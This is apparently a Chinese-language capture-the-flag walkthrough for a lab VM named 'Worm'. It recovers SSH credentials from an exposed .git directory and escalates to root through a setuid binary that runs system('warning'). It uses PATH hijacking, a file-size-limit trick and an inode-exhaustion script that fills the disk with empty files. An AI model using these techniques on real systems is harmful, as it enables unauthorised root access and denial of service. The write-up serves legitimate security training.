信息收集

主机发现

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:6f:75:99, IPv4: 192.168.56.247
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)
192.168.56.100  08:00:27:70:cf:00       PCS Systemtechnik GmbH
192.168.56.173  08:00:27:90:a0:4f       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.988 seconds (128.77 hosts/sec). 3
responded
```

端口扫描

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
└─# nmap -p- 192.168.56.173
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-29 21:41 CST
Nmap scan report for 192.168.56.173 (192.168.56.173)
Host is up (0.00045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:90:A0:4F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds
```

Web -- 80

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
└─# curl 192.168.56.173
<h1>Maze-Sec</h1>
```

主界面没什么东西，接下来进行目录枚举

目录枚举

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
└─# dirsearch -u 192.168.56.173
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
```

```
 _|. _ _  _  _  _ _|_    v0.4.3


 (_||| _) (/_(_|| (_| )




Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/xhh/worm/reports/_192.168.56.173/_26-01-29_21-43-12.txt

Target: http://192.168.56.173/

[21:43:12] Starting:


[21:43:12] 301 -  315B  - /.git  ->  http://192.168.56.173/.git/
[21:43:12] 200 -   73B  - /.git/description
[21:43:12] 200 -   92B  - /.git/config
[21:43:12] 200 -    2B  - /.git/COMMIT_EDITMSG
[21:43:12] 200 -  413B  - /.git/branches/
[21:43:12] 200 -  607B  - /.git/
[21:43:12] 200 -  674B  - /.git/hooks/
[21:43:12] 200 -  460B  - /.git/info/
[21:43:12] 200 -  217B  - /.git/index
[21:43:12] 200 -  240B  - /.git/info/exclude
[21:43:12] 200 -  484B  - /.git/logs/
[21:43:12] 200 -  558B  - /.git/logs/HEAD
[21:43:12] 301 -  325B  - /.git/logs/refs  ->
http://192.168.56.173/.git/logs/refs/
[21:43:12] 200 -  558B  - /.git/logs/refs/heads/master
[21:43:12] 301 -  331B  - /.git/logs/refs/heads  ->
http://192.168.56.173/.git/logs/refs/heads/
[21:43:12] 200 -  463B  - /.git/refs/
[21:43:12] 301 -  326B  - /.git/refs/heads  ->
http://192.168.56.173/.git/refs/heads/
[21:43:12] 200 -  533B  - /.git/objects/
[21:43:12] 200 -   41B  - /.git/refs/heads/master
[21:43:12] 301 -  325B  - /.git/refs/tags  ->
http://192.168.56.173/.git/refs/tags/
[21:43:12] 403 -  279B  - /.ht_wsr.txt
[21:43:12] 403 -  279B  - /.htaccess.bak1
[21:43:13] 403 -  279B  - /.htaccess.orig
[21:43:13] 403 -  279B  - /.htaccess.save
[21:43:13] 403 -  279B  - /.htaccess.sample
[21:43:13] 403 -  279B  - /.htaccess_orig
[21:43:13] 403 -  279B  - /.htaccess_extra
[21:43:13] 403 -  279B  - /.htaccess_sc
[21:43:13] 403 -  279B  - /.htaccessOLD
[21:43:13] 403 -  279B  - /.htaccessBAK
[21:43:13] 403 -  279B  - /.htaccessOLD2
```

```
[21:43:13] 403 -  279B  - /.htm
[21:43:13] 403 -  279B  - /.html
[21:43:13] 403 -  279B  - /.htpasswd_test
[21:43:13] 403 -  279B  - /.htpasswds
[21:43:13] 403 -  279B  - /.httr-oauth
[21:43:13] 403 -  279B  - /.php
[21:43:15] 200 -   23B  - /.git/HEAD
[21:43:40] 403 -  279B  - /server-status/
[21:43:40] 403 -  279B  - /server-status

Task Completed
```

发现存在*git泄露*

获取git内容

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
└─# python3 /git_Tools/GitHack/GitHack.py -u http://192.168.56.173/.git/
[+] Download and parse index file ...
[+] creds.txt
[+] index.html
[OK] index.html
[OK] creds.txt
```

githack好就没用了，我记得python2的好像可以看git log的，通过wget拿一下

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm/192.168.56.173]
└─# wget -r -np -nH --cut-dirs=1 -R index.html* http://192.168.56.173/.git/
(...省略...)
```

查看git log

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm/192.168.56.173]
└─# git log -p
commit b20ebc0e54047f39e739f50e21837b154cd4c6b9 (HEAD -> master)
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:07:31 2026 -0500

    4

diff --git a/creds.txt b/creds.txt
new file mode 100644
index 0000000..8b25a83
--- /dev/null
+++ b/creds.txt
@@ -0,0 +1 @@
+june:showmeyourpassword

commit 1e0f35c5f74fa99bfff05187488e76bc6c072db6
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:07:02 2026 -0500

    3
```

```
diff --git a/creds.txt b/creds.txt
deleted file mode 100644
index e9a18ec..0000000
--- a/creds.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-june
-mTdwC2mn94UlBr31y56t
-

commit c62888da183b18a51c52bbfdad3d448fe2da2a86
Author: Your Name <you@example.com>
Date:   Tue Jan 20 09:06:43 2026 -0500

    2

diff --git a/creds.txt b/creds.txt
new file mode 100644
index 0000000..e9a18ec
--- /dev/null
+++ b/creds.txt
@@ -0,0 +1,3 @@
+june
+mTdwC2mn94UlBr31y56t
+

commit ce0df0104ba2e23e9a749aab4622b342104934de
:
```

获取到凭证 `june:mTdwC2mn94UlBr31y56t`

To june

```
┌──(root㉿xhhui)-[~/Desktop/xhh/worm/192.168.56.173]
└─# ssh june@192.168.56.173
june@192.168.56.173's password:
Linux Worm 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 22 05:50:45 2026 from 192.168.56.247
june@Worm:~$ id
uid=1000(june) gid=1000(june) groups=1000(june)
```

To root

常规查看发现/opt/write

```
june@Worm:~$ ls -al /opt/
total 28
drwxr-xr-x  2 root root  4096 Jan 22 06:34 .
drwxr-xr-x 18 root root  4096 Mar 18  2025 ..
-rwsr-sr-x  1 root root 17104 Jan 20 09:47 write
```

代码审计

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t n; // rax
  int fd; // [rsp+24h] [rbp-Ch]
  char *s; // [rsp+28h] [rbp-8h]

  if ( argc != 2 )
  {
    fprintf(stderr, "Usage: %s \"message to write\"\n", *argv);
    exit(1);
  }
  s = (char *)argv[1];
  if ( setuid(0) < 0 )
  {
    perror("setuid(0) failed");
    exit(1);
  }
  fd = open("/opt/welcome.txt", 577, 420);
  if ( fd < 0 )
  {
    perror("Failed to open /opt/welcome.txt");
    if ( setuid(0) < 0 )
    {
      perror("setuid(0) failed before calling warning");
      exit(1);
    }
    system("warning");
    exit(1);
  }
  n = strlen(s);
  if ( write(fd, s, n) < 0 )
  {
    perror("Failed to write to file");
    close(fd);
    if ( setuid(0) < 0 )
    {
      perror("setuid(0) failed before calling warning");
      exit(1);
    }
    system("warning");
    exit(1);
  }
  close(fd);
  puts("Message successfully written to /opt/welcome.txt");
  return 0;
}
```

代码审计后不难发现，这个write程序可以利用的就是劫持warning命令，要成功利用就需要open/write失败

方案一：SIGXFSZ信号抑制与文件大小限制攻击

> 模拟一个磁盘写满的场景，从而导致write系统调用失败，触发warning命令

构造恶意的warning文件，并将其环境变量优先，使其触发

```
june@worm:~$ cp $(which su) /tmp/warning
june@worm:~$ chmod +x /tmp/warning
june@worm:~$ export PATH=/tmp:$PATH
```

在子shell中限制写入文件大小，以及对SIGXFSZ信号的忽略处理，并执行write

```
june@worm:~$ (trap '' SIGXFSZ; ulimit -f 0; /opt/write "pwned")
Failed to write to file: File too large
root@worm:/home/june# id
uid=0(root) gid=0(root) groups=0(root)
root@worm:/home/june#
```

方案二：Inode耗尽

查看opt与可写目录的挂载点

```
june@worm:/opt$ df -hT /opt /tmp /home/june
Filesystem     Type  Size  Used Avail Use% Mounted on
/dev/sda1      ext4   29G  2.5G   25G   9% /
/dev/sda1      ext4   29G  2.5G   25G   9% /
/dev/sda1      ext4   29G  2.5G   25G   9% /
```

> 正常情况:
>
> ```
> ┌──(root㉿xhhui)-[~/Desktop/xhh/worm]
> └─# df -hT /opt /tmp
> Filesystem     Type   Size  Used Avail Use% Mounted on
> /dev/sda1      ext4    94G   40G   50G  45% /
> tmpfs          tmpfs  1.9G   32K  1.9G   1% /tmp
> ```

先写一个创建文件的脚本

```
#!/bin/bash

# 第一步：创建存储文件的目录（方便清理）
mkdir -p /tmp/inode_full  # 创建目录
cd /tmp/inode_full

# 第二步：无限循环创建空文件，直到inode耗尽（自动终止）
# touch file{1..100000000}  # 批量创建（适合快速生成，数字可改）
# 循环创建（无数量限制，直到inode耗尽）
i=1
while true; do
    touch "inode_file_$i"  # 创建空文件，文件名唯一
```

```
    if [ $? -ne 0 ]; then  # 若创建失败（inode耗尽），退出循环并提示
        echo "===== inode已耗尽，创建文件失败 ====="
        break
    fi
    # 每创建100000个文件打印一次进度，避免刷屏
    if [ $((i % 100000)) -eq 0 ]; then
        echo "已创建 $i 个文件，正在继续耗尽inode..."
    fi
    let i++
done
```

先构造恶意文件，以防到时候inode不够无法创建恶意文件

```
june@Worm:~$ cp $(which su) /tmp/warning
june@Worm:~$ chmod +x /tmp/warning
june@Worm:~$ export PATH=/tmp:$PATH
```

执行脚本（挺久的，180万个+）

```
june@Worm:/opt$ bash /tmp/inode.sh
(...)
已创建 1800000 个文件，正在继续耗尽inode...
touch: cannot touch 'inode_file_?': No space left on device
===== inode已耗尽，创建文件失败 =====
```

执行write

```
june@Worm:/opt$ ./write 'i come in'
Failed to open /opt/welcome.txt: No space left on device
root@Worm:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@Worm:/opt#
```

user.txt && root.txt

```
root@Worm:/opt# cat /home/june/user.txt && cat /root/root.txt
flag{user-e1c65e4d4ef5f4834934b51fa7aa7d71}
flag{root-415fd5c8fdc9e94be02839e3afd69720}
```